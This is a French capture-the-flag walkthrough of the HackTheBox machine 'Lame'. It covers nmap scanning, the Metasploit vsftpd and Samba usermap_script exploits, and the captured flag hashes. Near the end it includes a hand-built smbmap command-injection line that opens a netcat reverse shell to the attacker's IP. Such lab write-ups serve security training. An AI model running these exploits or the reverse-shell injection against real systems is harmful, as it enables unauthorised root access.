HackTheBox Walkthrough - Lame¶
Machine ciblée : Lame.
Répertoire : /home/kali/Lame
Temps passé dessus : 3/4h
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="Lame"
repository="/home/kali/$name"
ip="10.10.10.3"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap -Pn -A -T5 -p - -oN $repository/full $ip
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-24 11:41 EST
Stats: 0:00:44 elapsed;
Nmap scan report for Lame (10.10.10.3)
Host is up (0.021s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2022-11-24T11:42:08-05:00
|_clock-skew: mean: 2h30m21s, deviation: 3h32m09s, median: 20s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Phase 2 : Analyse¶
┌──(kali㉿kali)-[~/Lame]
└─$ ftp $ip
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||61310|).
150 Here comes the directory listing.
226 Directory send OK.
┌──(kali㉿kali)-[~/Lame]
└─$ smbmap -u 'guest' -p '' -H $ip
[!] Authentication error on 10.10.10.3
┌──(kali㉿kali)-[~/Lame]
└─$ smbmap -u 'anonymous' -p '' -H $ip
[!] Authentication error on 10.10.10.3
Ok, bon passons aux versions.
┌──(kali㉿kali)-[~/Lame]
└─$ searchsploit vsFTPd 2.3.4
----------------------------------------------------------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
----------------------------------------------------------------------------------
┌──(kali㉿kali)-[~/Lame]
└─$ searchsploit Samba 3.0.20
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
---------------------------------------------------------------------------------- ---------------------------------
D’accord donc, il y a de quoi faire avec deux jolies failles déjà présente sur metasploit. Et bien en avant !
Phase 3 : User¶
┌──(kali㉿kali)-[~/Lame]
└─$ msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor;set RHOSTS $ip;run; exit"
┌──(kali㉿kali)-[~/Lame]
└─$ msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor;set RHOSTS $ip;run; exit"
[*] No payload configured, defaulting to cmd/unix/interact
RHOSTS => 10.10.10.3
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created. #too bad ~~
┌──(kali㉿kali)-[~/Lame]
└─$ localip=`ip a | grep tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'`
┌──(kali㉿kali)-[~/Lame]
└─$ msfconsole -q -x "use multi/samba/usermap_script; set RHOSTS $ip; set LHOST $localip;run;exit"
id
uid=0(root) gid=0(root)
ls /home
ftp
makis
service
user
cat /home/makis/user.txt
a4eb949942eceb77e74203860f48704c
cat /root/root.txt
833fc52d57b26232fac2adcea4f1ef1d
Pour l’annecdote, j’avais pas mis le bon LHOST donc metasploit n’arrivait pas a ouvrir le reverse shell. Et j’ai regardé le code du module, très simple. j’ai testé à la main la commande, ça marche : smbmap -u '/=nohup nc 10.10.14.6 3333 -e /bin/bash' -p '' -H $ip
Phase 4 : Elevation de privilege¶
/ Il n’y a pas de PE dans celle-ci.
Récapitulatif¶
J’ai été un peu surpris d’arriver root directement. J’aurai pas du faire mon script kiddie et lire les exploits avant. Il s’agit de la première vraie facile que je fais. J’ai du prendre l’abonnement pour ça, mais c’est un très bon moyen de se tester.
A retenir¶
Toujours mettre à jour ses logiciels x_x
Côté pentest, j’ai perdu « beaucoup » de temps à essayer de faire fonctionner l’exploit sur le ftp et n’avait pas fait le searchsploit sur samba au début. Toujours penser à vérifier tous les logiciels.